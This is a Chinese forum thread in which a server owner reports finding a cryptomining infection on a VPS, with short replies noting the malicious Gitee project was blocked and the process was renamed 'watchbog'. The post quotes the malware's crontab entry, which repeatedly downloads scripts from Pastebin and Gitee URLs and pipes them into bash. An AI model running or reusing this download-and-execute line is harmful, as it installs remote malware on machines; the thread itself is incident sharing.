[Windows VPS] 小鸡惊现挖矿程序 只看楼主

本帖最后由 ZeroDu 于 2019-2-13 16:08 编辑



如上图,第一个占用非常高。



  1. */11 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp||python -c 'import urllib2 as fbi;print fbi.urlopen("https://pastebin.com/raw/uiZvwxG8").read()'||curl -fsSL https://gitee.com/but_ter/w1/raw/master/src/phone||wget -q -O - https://gitee.com/but_ter/w1/raw/master/src/phone)|bash
  2. ##

在crontab中发现了定时任务。去上图中的码云账户看了看,有评论也是说传播挖矿病毒

机子上安装程序:宝塔,aria2,rclone

最后,没有找到被黑原因,直接重装系统解决了。



码云的项目已被屏蔽了
有才,watchdog改成了watchbog
  • 3# h2o
  • 2019-2-13 16:25:24
提示: 作者被禁止或删除 内容自动屏蔽
憋说话,就是干
  • 5# Now
  • 2019-2-13 17:50:53
.........